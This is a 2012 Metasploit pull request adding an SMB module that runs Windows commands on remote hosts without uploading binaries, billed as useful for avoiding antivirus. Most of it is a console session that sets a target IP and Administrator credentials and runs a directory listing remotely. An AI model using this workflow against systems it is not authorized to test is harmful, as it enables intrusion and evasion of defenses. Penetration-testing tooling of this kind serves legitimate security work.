rapid7/metasploit-framework — pull request #1020 by R3dy (2012-11-06 22:27:24+00:00)
Title: Added new Auxiliary module command.rb

This module executes a single windows command on a host or range of hosts. It utilizes native windows commands and does not upload any binaries to the target. Very useful in avoiding AV and poking around at individual systems. Seems to handle threads very well.

Issues:
Once in a while authentication fails with "Login Failed: execution expired". Try it again and it works, not sure what the issue is.

msf auxiliary(command) > use auxiliary/admin/smb/command
msf auxiliary(command) > set command dir c:\\
command => dir c:\
msf auxiliary(command) > set rhosts 172.16.141.137
rhosts => 172.16.141.137
msf auxiliary(command) > set smbuser Administrator
smbuser => Administrator
msf auxiliary(command) > set smbpass @ccuv@ntL@bs!
smbpass => @ccuv@ntL@bs!
msf auxiliary(command) > show options

Module options (auxiliary/admin/smb/command):

Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND dir c:\ yes The command you want to execute on the remote host
RHOSTS 172.16.141.137 yes The target address range or CIDR identifier
RPORT 445 yes The Target port
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass @ccuv@ntL@bs! no The password for the specified username
SMBSHARE C$ yes The name of a writeable share on the server
SMBUser Administrator no The username to authenticate as
THREADS 1 yes The number of concurrent threads

msf auxiliary(command) > run

[*] Executing your command on host: 172.16.141.137
[+] Command completed successfuly! Output from: 172.16.141.137
Volume in drive C has no label.
Volume Serial Number is 8E65-FEDB

Directory of c:\

10/24/2012 11:39 AM 1,024 .rnd
10/24/2012 09:59 AM inetpub
07/13/2009 07:20 PM PerfLogs
10/24/2012 01:05 PM Program Files
10/24/2012 01:05 PM Program Files (x86)
10/24/2012 11:39 AM Users
10/24/2012 09:59 AM Windows
1 File(s) 1,024 bytes
6 Dir(s) 26,495,328,256 bytes free

[*] Executing cleanup on host: 172.16.141.137
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(command) >